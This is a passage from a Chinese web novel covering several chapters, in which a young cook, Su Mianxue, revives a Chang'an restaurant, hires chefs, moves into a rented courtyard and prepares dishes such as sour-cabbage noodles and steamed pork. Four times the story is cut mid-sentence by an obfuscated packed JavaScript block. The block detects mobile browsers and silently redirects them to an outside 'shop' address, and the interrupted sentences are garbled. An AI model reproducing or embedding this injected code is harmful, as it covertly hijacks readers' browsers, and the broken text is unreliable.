她重点点下今天起由她负责这话，将前面裴钰、阿福、阿财干得蠢事撇开。 “忘了我吩咐给你们的话了。”苏眠雪拿余光瞥了眼呆在原地的三人。 两个去寻厨子，一个收拾残局，苏眠雪握着妇人的手亲热，冲她歪头甜甜笑着：“姨姨想吃些什么，我看见你的第一面就觉得亲切，和我阿娘一样。” 妇人被夸得不好意思，虽然没明面夸她，但被一个长相清秀周正的姑娘说和她阿娘一样，这是多好的人才能教出这么乖的女儿。 “你这孩子，怎么能乱认娘亲呢，我家那姑娘有你一半可爱就好了。” 苏眠雪笑得更甜，声音温润如水，字正腔圆，听了叫人止不住的浮下躁乱，只为听听姑娘不稍半分做作的漂亮话。 “姨姨您吃中饭了吗？”她问。 妇人眉开眼笑，将她手牢牢握住，动作轻缓：“还没呢，你这姑娘生得漂漂亮亮的，又这么乖巧，是不是盘下了这家店当了新的东家？什么时候开业，我把我们坊间的都叫来给你捧场。” 苏眠雪红了脸，将小女孩家被人夸奖后的不好意思做尽：“姨姨还没尝过我的手艺，我先给您做碗面来垫肚子，你尝了味道才能知根知底，好给其他人推荐，我是怕自个厨艺不佳，还白给姨姨惹来笑话。不用银子的。” 说罢，她抽回手，嘴角恰到好处的勾起，步态平稳进了后厨。 随便翻了一下，里面有坛酸菜和瘦肉，面条在柜子里，全都拿出来放在边上。 大厨正坐在藤椅上晃荡，看见苏眠雪不大满意，看了好一会，问道：“你是从哪来的。” 大厨没什么本事，全靠大当家吃不着味，只用拿语言编造些，裴钰信了剩下的阿福、阿财就是吃不惯味，也没有一句异议。 “我是这里的二当家。” 瘦肉切丝，加酱油、玉米淀粉、胡椒粉和盐抓匀腌制，捞出酸菜切丝，拍了几颗大蒜。她等了一会，莫约一刻钟的时间，肉丝入味，锅里倒油，油热后加肉丝和大蒜。 大厨看得一愣又一愣，什么当家，二当家。 “我们东家呢。” “去招厨子啦。” 苏眠雪热火朝天，肉丝变色放酸菜翻炒，加水和白糖盖上盖子。跑到窗户边上透气。 从镇上到长安，第一次下火是中午馄饨，做得随意，放进去捞一下滚沸再加水，这会儿菜的热气直往上蹿。 四月初从镇上出发，现在正是五月中旬，锅里的水“咕噜咕噜”冒泡，打开锅，酸菜独有的味直扑鼻尖。 大厨到她边上，盯着一锅面直泛光，指着面说：“这些是给我的吗，刚刚你煮馄饨就没给我。” 苏眠雪叉着腰，单手从怀里拿出帕子拭去鬓角的汗珠，冷冷道：“不是给你的，是给外边的客人。” 面条熟了，酸菜汤逐而浓稠，夹在一个大口的海碗里，面条过汤汁，用筷子搅和搅和，确保每根面条都能都能收满汤汁，吃在嘴里入味。 面条放在漆盘上，她对接下来已有打算，只经营这家酒楼，做菜的活都交给其他厨子干。 至于这位十两大厨，太亏了，做得饭菜并不合味，平常人皆难以入口，拿这么高的工钱，能辞退就辞退。 不过把这项选择踢给裴钰，让他来选这位厨子的去留。 酸菜肉丝面上桌，热气腾腾的酸菜味扑面而来，口中不住分泌唾液，下意识地吞咽，直勾勾地引诱快些将它吃完。 妇人出门一趟还未吃饭，这会儿饥肠辘辘，看见面条上来眼睛放光，拿起筷子把上面的面条翻下去，下面浸满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376055|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了汤汁的上来，夹起吹吹热气，一口下腹酸爽开胃。 “呼呼——”妇人张开嘴，被烫得舍不得吐出嘴里的面，热气出去，嚼着劲道的面条，忍不住夸赞，“这味道真好，汤汁都收在面里和肉里，又烫又酸又开胃，得劲！” 苏眠雪坐在她对面托腮看着，太阳透过窗字照在身上暖乎，下午的时间发困，妇人放下筷子，吃得红光满面，两边被热出了晕红，妆容不带半分凌乱。 妇人拿出盒珍珠粉，抿着唇笑得温暖，一丝狡黠落过，将盒子塞她手里，“你拿着，你请我吃面，我送你涂粉。你家店什么时候开业，我把那些人都叫来。” “明天，就在明天。”苏眠雪说。 珍珠粉是用一个玉石匣子装得，打开盖子，珍珠粉颜色雪白，细粉上有淡淡的光，苏眠雪左右转着，在阳光下有不同的颜色。 妇人道：“我家姑娘喜欢用这些，你们年纪相仿，不过那孩子已经定下亲事，再过几个月就好事将成。到时候你来见见她，你们定有话可聊。” 两个姑娘年纪相差不多，苏眠雪说她像她阿娘，心底那关爱愈发藏不住。 多可爱能干的姑娘，巧巧这心灵手巧的，做得一顿好菜，难怪把那三土匪收拾的服服帖帖，这下每次路过这条街都不用担心被抓进来，没个四五两银还去不了灾。 真当人人是出门捡银子，一捡就是一两银，她不买个大宅子找一堆丫鬟伺候她，当她傻呢！ “明儿，就明儿我把我们家姑娘带来，你闲下来可以和她聊聊天，她会刺绣，绣出来的东西可好看了，你会不会刺绣啊，要是不会，你们还能互相学习呢。”妇人和蔼近人，拉着手越说越多。 苏眠雪尽职扮演一个听客，等到阿福和阿财领着人回来。 天色已晚，妇人止住话头，看见三人瞬间冷脸，苏眠雪送她到门外，语重心长祝福道：“那三个不是善类，遇了事就来找我，你要小心些，知晓了吗。” 苏眠雪点头：“晓得了。” 送走人，门关上，她转过身对着带来的八位厨子道：“工钱你们都清楚了吧。” “清楚了，一月四两，两位当家可要试菜？” 苏眠雪坐在椅子上，手敲了敲桌，威迫感十足，这是从前干过这事呐。 “需要，做你们的拿手好菜。”她声音响亮，挥手让阿福、阿财带着人过去，等人走光，招来裴钰，“你们这儿小工给多少钱一月。” 裴钰纠结了会：“阿福、和别人不一样，都是老员工。要是再招人我打算给一两银子。” “可以，我手下可能会有两个人，你再寻几个手脚麻利的，明天清风楼开业，别出乱子。” “好嘞！”裴钰唯她马首是瞻。 他之前只想一个厨子就够了，站在大门口随便拉个人就能当厨子，没想到想要找人还要专门去地方发招贴，才会有人来。 他发现苏眠雪年纪不小对事又挺严格，也不敢在大街上拉人，多花了银子宣传，等了很久有八个人来。 相比下，好像也不用专门提高价格才有人愿意来。 58. 新住处 八个厨子都有属于自己的拿手好菜，长安各州人物皆聚，苏眠雪尝过味道后又有新的打算。 八个厨子全都留下，做自己家乡的特长菜加进菜单，将从其他州来得吸引到清风楼。刚到长安的新鲜劲只爱长安的菜、物，时间长久，和家人各别一地时间长了对待长安的热情终有一天淡化。心底的思乡情涌入，自会去寻属于家乡的菜肴，同一个地方出来的人。 厨子定下，苏眠雪不在多留，吩咐了些事，让阿福阿财把货架都填上，保证明天不能出乱子，外边也拿板子贴纸，半个门高红纸黑字怕不够醒目还拿了金粉点缀，保证在阳光下熠熠，将人儿都往店里面招。 裴攸和苏盈那边也弄得差不多，物什都已搬到新租的房子里，算到苏眠雪中午没有时间要等到傍晚。 裴攸等在住得客栈边等了好一会儿，远处见着她来，带着人到新租的院子。 长安的路有些绕，屋舍大大小小，走好几米中间隔着是一条巷子。有些住在街上两边便捷，有些则是前后商铺，夹在中间外边看不出异样，走进里边就是一个新的天地。 裴攸带着她先走到一条街上，再从街上两家铺子中间的入口拐进去，走了会胡同，一排带院的屋舍露在眼前，一眼望去前前后后都是屋舍，从远处看路上会窄，实际是能走过两个人，边上的居舍都被隔开，空隙有大有小，大得一人可以过去，所以并不狭小。 从一处缝隙进去，道路变得宽大，可以容下一辆板车和人过去，隔着几米就种了一棵柿子树。 云霞浪漫披着粉纱，叶儿无声晃着枝叶沙沙，苏眠雪和他隔了本个身位，停在一棵柿子树下，树栽植在两家的中间，一棵柿子树枝条伸向了两家院，两边的供主人屋用，中间垂下的供路人摘取。 苏眠雪看着眼前屋舍，有些小，三分之一的柿子树笼罩了大半的院子，遮住阳光，可用乘凉。 秋天冬天的柿子树掉叶不用担心晒不着太阳，苏眠雪以为这家院子是自己家，走了几步，停在院子前，刚伸出去的手腕被人握住。 触感有些凉，像是一块巨大的玉石雕琢，悄然无息握住她，刺起一身鸡皮疙瘩。 玉石摸久升起一腔温润，那触感在手腕处紧了紧，很快起了层薄汗，被捏在手里想要挣脱，苏眠雪收回手，见裴攸没动，和他僵持着。 片刻，苏眠雪在心里数到十，眉心隐隐不耐，这份情愫不该存在。 “不是这家，是后面的。”在苏眠雪数到十五时，裴攸松开手。 又是她误会了？ 苏眠雪止不住思索，好像是不该的，但一切都没有逾越，让她分辨不出。 有了一定的主观，有些事总会先入为主。 苏眠雪跟在后边，走进一家屋舍，外边用了和人差不多高的墙围住，前边的柿子树很大，有几枝粗壮的枝叶长在屋角，分叉的枝叶笼住一小块地，被罩住的地方是块水井，丢个西瓜在里面，冰一个上午足够凉爽。 “这儿有个后院，去看看。”裴攸走在前边，侧过半个身子，眸光落在她的影子上，神色微凝，悄悄挪开目光熟做无事。 后院的左边是棵探过枝的枣树，树上长了雪白枣花，一些花芯里头是小小的果子。 苏眠雪喜欢果树，夏天乘凉绿叶苍苍，秋天丰收硕果累累，傍晚时分躺在藤椅上优哉游哉。 三间住人的屋子皆已经收好，两间连在一块，中间拿墙隔着，一间是在左边，像柜子一样到顶了往边上衍生，和剩下两间隔了三块石头路。 屋子大小也不同，单独建着的会小一些，两间连在一块的大一些，而且前后院子的门都是通着，会比单独立得方便。 苏眠雪是为便利考虑，自然选了两间连在一块往左靠的间，苏盈选她边上，裴攸选单独的那屋。 厨房锅里的水已经烧好，洗浴室和放脸盆的架子这些都在右边，但因为右边没有路，需要拎着桶从左边的路走，绕一圈屋子才能到，很不便利。 苏盈指着自己屋子：“从我前边的门走，再从后门出来，路就会少不少。” 她的屋子最大，可以拿道屏风隔开。 况且一直以来花得都是苏眠雪的银两，苏盈年纪已经不算小，卖到别人家是当丫鬟，跟着苏眠雪是家人，给她认字读书，还交银子让她去绣坊学习。 一开始跟师傅学习需要束脩，等到出师后，就能独当一面，每日绣完规定的量，一月能拿些工钱。 给人抄书拿得钱会少一些，苏盈为免退步，每日会抽空写两页字，等都抄完再送去换钱。 说到底三个人里面，“牺牲”她来说是无可厚非，最好的一个答案。 “把靠着厨房和洗浴室的那条小道腾出来，就可以直接将水领进去。”裴攸说。 住人的屋子连在一块，但厨房那却又是空着。 合理运用留着的小道，能便捷不少。 小道虽然狭小，把沙子弄平，一个人两只手提着水桶可以过得。 “嗯，现在天还亮的，锅里水再放会也没事，刚好天热着。” 苏眠雪一手拿畚箕，另一手拿扫帚，畚箕给裴攸，她挤进去将泥土和沙子尽数扫出，裴攸在外面把沙土铲在桶里。赶明儿买几块地砖，铺在上边雨天也不用害怕泥土溅在脚上。 “你找到活没，明儿清风楼开张，你去做小二，一月一两银子，比在景象镇上多了不少哩。” 边上的路她都摸了大概，明天回家时在把太平坊的路摸清，长安她所在的一角也了解大概。 裴攸拎起桶里的沙土，鼻尖热出了薄薄细汗，惋惜道：“今天刚找了一个，和店家已经答应好，先做一个月，若是后边用不着我，我在去你那。” 长安寸金寸土，物价和景象镇都是没得比，裴攸从一开始找个书舍抄书，因着是白丁，压根没有拿笔的资格。 只能降低要求， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408836|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于在一家店上找到洗碗的活。 洗碗的活还仅仅是这个月，因为这个月忙，等到下个月人齐了就不用临时的，一个月有六百文。 不多，裴攸起先是想通过科举，需从童生起，他没文书，上不了课，只能在书院旁听，自然也没法考试。 书院里所学得皆是他记在脑海中的，起先翻到一本书觉得熟络，读得久，愈发熟悉，旁人需要四五日甚至半月才能背下的课文，他仅仅读过两遍就能倒背如流。 可他是个黑户，在镇上没他这人的信息，他也没文书证明自己是从那个州来的，几个夫子优礼有加将他劝退。 苏眠雪狐疑问道：“你……舍得去洗碗？” 她绝对不信裴攸凌霜似雪不染尘世的性子，会去其他店里洗碗。 长安多少家书舍，她起先以为裴攸会寻一个写字的活来拒绝她，没想到竟是洗碗。 她对一人的刻板印象不断打破，逆境中总会成长，她又将注意放在苏盈身上。 巴掌大的小脸，面容清秀，青色衣衫在她身上单薄，仅仅是抹将要消散的日光渡了半边光影，在她眼前温顺，但不经意间的注意，少女似山林中的竹子，坚韧不拔。 她学识渊博，她冷静自若，她似山中的竹。 心境在每时都不同，看见一件事物会短暂的去坚持，但只要没有坚定选择，当初的决定总会影响。 在书院的时间仅仅是半个月而已，裴攸提不起半点心，外加一身病骨，苏眠雪一心扑在酒楼上，连他在哪都不知晓，自然也不知道当初被“恭敬”地赶出来这事。 “哪有舍得不舍得的，初来乍到总要去适应，总不能三个人都压在你身上。之前在你店里帮忙我还有白吃白喝的理由，现在我们都是一样。”宽大的衣衫紧紧系在腰间，裴攸眸子很淡，狭长的眼看不出底下的情绪，薄唇轻轻抿着，“阿雪，我总是给你惹麻烦，和李大牛相比，你定更喜欢他吧。” 发间的蝴蝶簪子有些旧了，苏眠雪没多少像样的首饰，一直戴着都是几只，来回换着，蝴蝶簪子已经氧化变了色。 苏眠雪有些不自在，她管着自己，哪有喜欢不喜欢的，这话也说得怪，又在拐弯抹角些什么。 若真要谈论对谁的好感更高，李大牛看着呆笨了些，实际并不笨，手脚麻利干活厉害，不用她张嘴厨房和大堂已经被收得一干二净。 单从印象来看，肯定是李大牛胜这一筹。 但苏眠雪又不会把心里话说出来，只道：“你不用和谁比，每个人都是不同性格，不同模样的个体，你就是你，为何要和别人比较更得喜欢，这很奇怪。” 裴攸想要反驳，却又无处反驳。 他们都是不一样的，但两个不同的人对比，总有一个会更得喜欢。 他轻声道：“是我糊涂了，想这些东西只会困住自己，在无边的比较下后悔反思，自卑折磨，只会越来越不尽人意。” 59. 粉蒸肉 天色稍亮，整装待毕的几人一同出了门。 苏盈和苏眠雪一块去店里帮忙一二，长安多得是学堂，她打算到下午自己去转一圈，最好找个在边上的听课。 大周女子虽能读书认字，但不会和男子一样月考比试排个甲乙丙丁。 每个人都是一样，读了书也摆脱不了嫁人的命运，对于她们来说，读书是为自己增加帮助夫家，给夫家带来利益的筹码。 便是有人其他想法，簇在人群中也格格不入，或许有人坚定站出反抗，但更多的是随波逐流，泯于众生之间。 苏盈从太平坊出来，天色尚早但周边的铺子已经开张，热气腾腾的包子馒头馄饨，刚从油锅取出的油条葱饼。 一景一物随着她脚下的步子而变化。 长安不止这几条街，她和裴攸闲逛时曾嗅芙蓉粉，沾取一身花，仅仅是好奇不慎瞥了一眼，却紧紧记着那儿的人都很美。 或许艳丽或许清雅，发髻上簪着花，身边是打扮眼花缭乱的丫鬟侍从，那儿最高的酒楼有整整五层楼高。 拿来添得顶都是金子琉璃所做，在阳光下异常耀眼。 阿福递给她一块帕子，帕子被洗得干净，上边没有一点的油渍，打破了她的幻想，吩咐道：“你是二当家带来的人，机灵些别丢了脸，把桌子全都擦干净，一楼的擦好了要洗干净帕子才能去雅间的，雅间的桌子擦完了都要洗干净才能到下一间去，明白了吗。” 苏盈点头：“嗯，我明白了。” “快些，我们家酒楼和平常的可不一样，看名字就能知道。”阿福擦拭窗户。 苏盈看了眼被擦得干干净净的窗户，还有阿福那一脸机灵的样，顺着他点头，把一楼的桌子擦一遍，盆里的水换掉，将帕子搓白才上去。 厨房里面热火朝天，食材都已备好，菜单上的菜多，第一天大伙也确定不了哪道菜更受欢迎，一个个站在自己的灶头前，苏眠雪坐在原先大厨做得藤椅上，和他大眼瞪小眼。 大厨一肚子怨气，这二当家一来，他没了灶台也就罢了，怎么月钱还带缩水，从十两变为三两，比八个大厨还低。 关键降他工钱的是大当家，把人惹怒了一气之下辞了，上哪再找一个这么清闲的活，每天坐在椅子上晃晃，随意搅和两下就能拿钱。 现在椅子被苏眠雪霸占，他就站着。 站着拿工钱也不是不成，就是一日下来腿会酸，跑出去透口气苏眠雪也不依。 那怨气飘来飘去，两位当家都分了些，剩下的瞄到偷懒的阿福和阿财，小声嘀咕道：“这两人之前就是懒惰的，今儿是清风楼开业的大事，怎么还趴在窗子上不下来。” “拿了月钱不是让你白吃白喝，菜篓里的菜少了记得洗了添上去。”苏眠雪轻飘飘看了眼，说出来的话震慑力十足，明明就是平常的语气，竟还听出了一丝的不悦。 天光大亮，重新开业的清风楼陆陆续续来了三两人，裴钰坐在柜台里数着来人，眼睛不带转，又来了波人，这次一共有七个人，顶他从前七天见到的人！ “几位快请进，快请进。”少年人双手递上菜单笑得诚恳，“几位要吃些什么？” 他笑得诚恳，但挨不住从前做了太多亏心事，为首的妇人不满睨了他眼：“七份酸菜肉丝面。” 裴钰不肯放弃，七碗面值得了几个钱，大菜才能赚得多。清风楼的菜价格适中，便宜的几十文，贵得百来文钱，除了上好的酒，都没有过一两银子的。 妇人是宁安坊出了名的好人缘，大伙都唤她如意娘。 如意娘诸多大小事都喜欢去刷个脸，说句公道话又不会让两边都尴尬，三言两语将矛盾化解，人安抚好，事留给两位慢慢解决，久而久之，安宁坊的居民有什么争执都喜欢来找她评理，事事找她都顺心，事事找她都如意。 好巧不巧，如意娘的名字就唤作赵如意，她从某某家的娘子成了自己的名字，旁人提到她的丈夫孩子，都是如意娘的夫君，如意娘的闺女。 “大早上的我们就想吃面，前东家是有事吗？”如意娘抱着双臂，坐在椅子上一不做二不休，“你们家今天做不了这面，还是东家还没来？” 若非被这土匪打劫过几次，次次都趁她走路不注意被一溜拉了进来，她还真没那么不客气。 裴钰拿着菜单灰溜溜离开，几个厨子正在厨房烧菜，搁下“七份酸菜肉丝面”，回到柜台前边。 因为事情急，昨天的菜只试了一道，苏眠雪今儿特地拿一双干净筷子夹在碗里先试试味。 有些菜味更浓，有些菜味更淡，几个州吃得用得大有不同，只要味道没什么大问题，一概都拿出了锅。 上午如意娘带了家中人来，其中有位和苏眠雪相差无几的便是她的女儿。 不过苏眠雪顾着店，下午宁安坊的居民千呼百应，一堆人簇拥着如意娘，数十人陆续将清风楼坐了个满满当当。 一楼和二楼全都坐满，八个厨子压根忙不过来。 外边的人见里边满当，一桌走后又来一桌，应接不暇。厨子从一叠单子里抽出一张，是二楼雅间的菜单。 酒楼里也分贵客和普通百姓，百姓在一楼，贵客在二楼，包厢的在三楼。 都是要一定银子才能往上跳，楼层越高景观越好，店里小二的服务自然也越好，守在门外随叫随到。 里边的火爆惹来外边的瞩目，想进去瞧一眼，回想起前任东家干得糟心事犹豫不决，这一犹豫不要紧，等再想去试试味道，竟被告知已经没有位置，要在外边等才成。 等吧，出去转一圈再回来，外边又排起十来人的长队。 起先没什么人，但挨不住大爷大娘多，有一个就会有两个，有两个就会有四个。 管他里面卖得是什么，排队又不会少几斤肉。 效应一起，越来越多人想要试试清风楼的口味，连着一个月都不带消停。 换了一个东家价格变便宜菜品变多，关键人还好了不少，手边茶水没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437036|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了都有人来倒上，边上没有其他酒楼竞争，这条街的生意当属清风楼的最火爆。 …… 一个月的时间，院子的路被翻新，种下一院子的花草，和一排的甜菜种子，厨房和洗浴室的那条小道铺了青砖，虽然只能勉强过一个人，但下雨不用雨水四溅，打湿裤子。 清风楼步入正轨，裴攸帮了一月的忙拿六百文钱被解雇，苏盈在学子街的杏花书院上课，里面都是姑娘。 三人中当属苏眠雪最忙，一月未拿勺子抹了花油的手愈发细腻，同时指尖打在算盘上的速度越来越快，半天的时间算完了十日的账本。 搁下账本推开房门，首入眼帘的便是柿子树。 摸着肚子，和空无一人的院子，今天是她休息的日子，她一人在家，早上喝得米粥，看账本时不觉得饿，一走出来肚子里一阵空虚，用力压下去，跟个气囊一样，空空如也。 太阳有些大，站得久便显得热得慌，跑进厨房里面食材不多，但该有的都有。 他们三人除了早饭本就不在家里吃饭，放着食材也是用来应急，比如晚上的宵夜，或谁留在家里。 锅里煮了米饭，苏眠雪就地取材，米粉加八角、桂皮、陈皮、香叶和花椒在锅中炒至金黄，一块肥瘦参半的肉切片，浸渍用酱油、白糖、料酒、酱豆腐汁、盐、姜末调成的浓汁。 浓汁倒粉中拌好，肉片沾满米粉，洗干净白菜，垫在盘子上，掺了米粉的肉片铺在白菜上，围着一圈，叠了足足三层。 上笼屉蒸，隔着水蒸，肉味不会流失，白菜味道清甜，就着一碗米饭足够下饭。 裴攸回来时，粉蒸肉刚好出锅，苏眠雪拿筷子翻动，底下汤汁滚滚，映着白菜愈发青翠。 苏眠雪瞧了眼，想起裴攸现在没有事干，自然也没有工钱。 苏盈的书院不提供中膳，需要中午有人送去，天冷天热早上送去都会影响，裴攸这些日担起给苏盈送饭的活。 一直在家也不是办法，长安的工作难寻，搬货的活又不要细胳膊细腿的，留给他的选择不多。 她道：“你明儿到我酒楼干，刚好这些日子歇下，你去适应适应，也不会手忙脚乱。” 裴攸拿了碗筷，率先夹起一块沾满米粉的褐色蒸肉，点头应下：“也成，不过苏盈中午的饭菜需要人去送，天气热早上带过去的到了中午不一定能吃。”苏眠雪提起，一月一两银子，他也就顺理成章的去。 苏盈那厢两人轮流去送，遇到急事也能有一人应对。 清风楼现下是苏眠雪一手打理，裴钰当甩手掌柜，不晓苏眠雪的心思。 总的有了二当家庇护，多少重活累活也到不了他身上，就是再累，也比洗一个月碗他手都洗脱皮了轻松。 赚够了钱就自己开家店，一月下来多有了解，找人不能莽撞，全靠的都是缘分。 苏眠雪轻声道：“早些做打算吧。” 长安城地方大，早些做打算，等到年底分红，她也该离开。 60. 芝麻汤圆 夏去秋来，秋去冬来。 如今清风楼说是她当二当家，实则整个酒楼的员工只听她一人吩咐。 如意娘常常带着亲朋好友来给她捧场，每次来有多有少，虽还够不着三楼包厢的门槛，但正因为常来的心，还有活络的性子，给她招了大批的客来，苏眠雪好表自己心意，给她破格升了，在她身边常来的也因此添光。 冬天大半时间都用来算账，除去其他的，就是年底的分红，长安不愧是长安，招牌打出去有人慕名而来，大把银钱跟洒水一样丢进来，要得不就是一个好服务。 一些事，事事都顺着，但苏眠雪好说话也非好欺负的。 酒楼的厨房都是大油大烟的地方，待得久了别说一股油烟的气息，连皮肤也会被热气熏得粗糙。 她每日在家中练习厨艺，花得时间不短，因着是自己用所以会少许多油烟滚出来的热气，现下手里有银两，添了不少护肤的面露、腮粉之类，半年下来张开不少，跟翠竹一般站在清风楼前，含着得体不失仪的笑，活生生看勾了许多人的眼。 当家的身上自有只可远观的拒意，谁对她和善，她也就对谁和善，谁有其他的心思，当家的自然也不客气。 先前有喝酒喝糊涂闹事的，苏眠雪把人散开，带去一个角落拿起板凳往人脑袋一砸，阿福、阿财两个当土匪惯了，把门一关拖到后院一堆小二替其爹娘教训一顿。 闹事的酒醒了要报官，被大当家用了什么法子堵了回去，至于后来的事，自然不了了之。 苏眠雪心似玲珑，心底跟明镜一样，裴钰身份不简单，不管用了什么法子，在天子脚下还能暗中操作的，能是什么简单人物。 清风楼利润高，因为三楼的开放，菜品佳肴的价格陆续渐长，长得都在能接受的范围内，普通的糕点里面料一换就能卖一两银子一份，一些菜需要几两银子才能吃得，价格高了，豪客自然不堪落后，来了定要点一桌花费。 年底给几个厨子小二包了五两银子的红封，剩下的去掉成本和来年的投入，苏眠雪虽然只分到四，但到手的银子并不少。 足够买下一座更好的屋子，也足够她来年的本钱。 当甩手掌柜每月只拿银子的大当家在年底终于出现，拿过账本看了许久，伸出埋在狐氅里，十八九岁的年轻模样下巴硬生生圆润了一圈的脸，轻快道：“阿雪妹妹，你果真厉害，我这酒楼当初一天能进两个人都阿弥陀佛，在你手下不过半年，足足赚了千两银子，咱们分一分，你功劳最大，拿这六百两，我功劳小，拿四百怎么看。” 七零八舍的去掉，银子大减缩，一千两银子在这长安说多不多，在百姓眼里却是足够的多。 裴钰作为少年人没什么本事，阿娘在他名字上存了不少寄托，里面更多的是把他当做掌上明珠的意思。 况且一个住在长安城内，和主家撇了十八弯的关系，每月接济些银两以示宽容，只要不俞拒，从前的他倒没什么顾虑。 对自己的本事几斤几两看得清，该拿多少拿多少，毕竟整个酒楼都是苏眠雪在操持。 苏眠雪拒绝道：“不用，你若过意不去，我们名拿五百两。” 酒楼开张两个人都少不了，一个出钱一个出力，她偷偷打算着拿钱离开，银子拿多了离开有负担，平分后一块扯平，谁也没有多拿。 裴钰挠了挠头，傻呵呵笑着：“好啊，年底红封包了吗，阿福和阿财跟了我两年，年年都有红封，今年是大伙的第一个年，包好红封收买人心，来年也更卖力。” 他不是吝啬的，对待身边的人大方，换句话说人傻钱多。 “都包好了，一人五两银子，等三十晚上再发出去也不迟。”苏眠雪随口问着，“今天是有谁要来，大张旗鼓的三楼玉兰菀都收拾了出来，我记得之前这间包厢无人住得。” 裴钰有些讪讪，挠头道：“是我主家的那群人要来，身份尊贵，在朝堂上边当官，有些难搞是难免的。” 裴钰是尚书府裴家分出去的旁支，离当官这条路离了十万里远的距离，裴氏接济他们这些旁支，作为唯一一脉在长安的，听闻他弄了些名堂出来，自然要来看看。 不过他心知肚明，裴氏的当家主母要来看，自然是看中他手底下的盈利，就怕今日后清风楼两位当家都要当那打杂的。 每月固定拿银钱，话语权都在裴氏手上。 “阿雪，你打理的挺好，没想到你还真有几分本事。”裴钰搓着双手，来回踱步在屋子里，“你……” 裴钰闭上嘴，左右扫了几眼，来回张口支支吾吾发出几个音节，又讪讪闭上嘴。 苏眠雪在等他，见他迟迟不语，道：“你有事要说。” “也不是什么大事。” 苏眠雪闭上眸子，酝酿了儿，缓了缓吐出气，“那我先说吧。”她睁开眸子，盯着那人道，“等到来年我当会离开清风楼，本金已经赚够，我也该去完成我的目标。” 裴钰愣愣，伸出手拦住她，略微扭捏着：“其实我也想和你说这事。” 裴钰将自己和尚书府的关系说了一通，尚书夫人这次来也不怀好意，这家酒楼的启动资金皆是尚书府的。 就是尚书府以这个名头将酒楼要走，他也没出说理。 为今的办法就是苏眠雪当这最大的东家，将酒楼一应交给苏眠雪，他当一个幕后打打杂分分红的。 “这家酒楼好歹是我一手创办，虽说没一开始没什么收入，但日久生情，我也不想咱们好不容易起来的酒楼就拱手送人。”裴钰苦着脸，将地契给她，上边白纸黑字已经转让给她，要求道，“还是和之前一样，不过接下来您是大当家，我是二当家，都听你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450389|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 裴钰舔着脸，笑着道：“大当家，您快些准备准备，待会裴夫人就要来了，若是留下不好印象，怕是咱们都要遭难。” 苏眠雪收下地契，拉着不正经的裴钰，道：“裴钰，我在乎的从来不是这家酒楼，对于我来说，我想要一家属于自己的。” 无功不受禄，就是裴钰要她配合，她也愿意起帮一把，但是无故送来的地契，叫她属实无语，烫手山芋在手上，她如何还有理由辞掉这儿的活，去将苏记开大。 “你想改名字是吗。”裴钰说，“这家酒楼能有今日都是你干的，我给你也有自己的私心，若你不能接受，就当我将酒楼转让给你，不过我还是这家酒楼的当家，要参与年底的分红。” 清风楼赚得钱不少，今年只是起步，等时间久了财源广进不在话下。 “这块地长安商铺租金是三百银，我整日无所事事，也不爱来酒楼，从重新开业到现在都是你在处理，你若愿意，以后不管赚多赚少我都拿一半，你要有自己的私心便去做吧。”裴钰说得轻巧，将身上氅退去，翘着腿坐在太师椅上吊儿郎当，“我那八竿子打不着的姨姨要来了，难伺候着呢。” 裴钰苦着的面容带了几分无可奈何，率先离去。 苏眠雪跟在后边推开房门，外边已经在等候，看了一圈没有裴攸的影子。 她多找了几次，手腕被人拉住，尚未反应过来，已经被人拉进一间包厢，转过身，眼前是放大的绚丽面容。 裴攸随性惯了，躲在一个包厢里头探出头对她招手，等她进来，一碗汤圆被送到手上，拉着一块坐下，道：“先吃着，外边的事有他们够了，人多只会手忙脚乱。” 汤圆味道甜，一戳就漏馅，是芝麻馅的。 苏眠雪吃了几颗，外边原先还有些声音，大门开的瞬，瞬间静了下来。 是有人来了。 苏眠雪透过窗纸，几个衣着华贵的妇人走在最前头，气势凌人，扫了那么一圈眉头微微皱着。 